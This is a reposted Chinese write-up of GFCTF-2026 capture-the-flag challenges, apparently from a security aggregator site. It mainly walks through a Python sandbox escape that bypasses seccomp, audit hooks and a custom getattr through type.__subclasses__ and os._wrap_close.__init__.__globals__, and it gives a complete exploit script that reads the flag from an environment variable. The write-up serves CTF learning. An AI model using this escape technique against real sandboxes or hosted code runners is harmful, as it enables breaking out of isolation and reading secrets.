GFCTF-2026(wp)

admin 2026-07-08 04:59:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档是GFCTF-2026的Writeup,涵盖Web和Crypto题目。Web题包括Java反序列化绕过黑名单、Jinja2SSTI绕过WAF、JWTalg=none伪造;Crypto题包括低指数攻击和密钥流重用。解题步骤详细,提供了绕过技巧和脚本。 综合评分: 85 文章分类: CTF,漏洞分析,渗透测试,红队,内网渗透


运行:

python3 solve_http_relayd.py http://nc1.ctfplus.cn:39725

输出关键部分:

[relayd] chunk txRT size=101[relayd] channel=alpha route= caption_len=97[relayd] frame checksum: flag{placeholder_waiting_for_platform_override}[relayd] chunk IEND size=0

keysafe-pwn

Summary

一道 Python 沙箱逃逸题,防护极其严密:seccomp 禁 execve、审计钩子禁 import/open、模块清理删 os/sys、自定义 getattr 禁__subclasses__/__globals__/__dict__。核心思路是利用type.__subclasses__ 的 C 层描述符协议绕过自定义 getattr,通过os._wrap_close.__init__.__globals__ 拿到os 模块的完整函数表,最终用os.getenv 读取环境变量中的 flag。

题目环境

  • Ubuntu 22.04 LTS,glibc 2.35,Python 3.10.12
  • 交互式 Python 沙箱,输入代码后发送RUN 执行,QUIT 退出

Solution

Step 1: 分析沙箱防护层

题目设置了五层防护:

| 防护层 | 机制 | | — | — | | seccomp | 禁execve(59) 和execveat(322),KILL_PROCESS 级别 | | 审计钩子 | sys.addaudithook 拦截importopenmarshal.loadspickle.find_classctypes.dlopenctypes.dlsym | | 模块清理 | 从所有模块__dict__ 中删除sys 和_os;从sys.modules 中弹出osiostruct 等 | | 自定义 getattr | 拦截__subclasses____globals____dict____code__f_backf_globals 等 | | 受限 builtins | 仅暴露白名单函数,__builtins__ 设为空 dict |

关键:type 和object 在白名单中,type.__subclasses__ 是 C 层面的 method descriptor,其访问走 CPython 的type_getattro 而非 Python 层的getattr,因此「不经过自定义_safe_getattr

Step 2: 绕过 getattr — 获取 os 模块

# type.__subclasses__ 绕过自定义 getattr(C 层描述符协议)obj = type.__bases__[0]  # objectsubs = type.__subclasses__(obj)  # 列出所有已注册类
# 找到 os._wrap_close — 它的 __init__.__globals__ 就是 os 模块的全局命名空间for c in subs:    if '_wrap_close' in str(c):        init = type.__getattribute__(c, '__init__')        # object.__getattribute__ 绕过自定义 getattr 访问 __globals__        g = object.__getattribute__(init, '__globals__')        print("open:", g['open'])       # os.open (低级 POSIX open)        print("read:", g['read'])       # os.read        print("getenv:", g['getenv'])   # os.getenv        break

os._wrap_close.__init__.__globals__ 包含os 模块的完整函数表:openreadwritepopensystemgetenvlistdirscandir 等。

Step 3: 读取 Flag

os.open 触发审计钩子的open 事件被拦截,os.popen/os.system 被 seccomp 的execve 禁令阻断。但os.getenv 既不触发open 事件也不触发execve,且 flag 恰好存在环境变量FLAG 中:

obj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs:    if '_wrap_close' in str(c):        init = type.__getattribute__(c, '__init__')        g = object.__getattribute__(init, '__globals__')        print(g['getenv']('FLAG'))        break

输出:

flag{f51aa808-dfa1-42fd-b41c-d6f1046bc17d}

完整利用脚本

# 绕过自定义 getattr: type.__subclasses__ 走 C 层描述符协议# 绕过 __globals__ 拦截: object.__getattribute__ 不经过 Python 层 getattrobj = type.__bases__[0]subs = type.__subclasses__(obj)for c in subs:    if '_wrap_close' in str(c):        init = type.__getattribute__(c, '__init__')        g = object.__getattribute__(init, '__globals__')        # os.open 被审计钩子拦,os.popen 被 seccomp 拦        # os.getenv 不触发任何拦截,flag 恰好在环境变量 FLAG 中        print(g['getenv']('FLAG'))        break

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《GFCTF-2026(wp)》

评论:0   参与:  0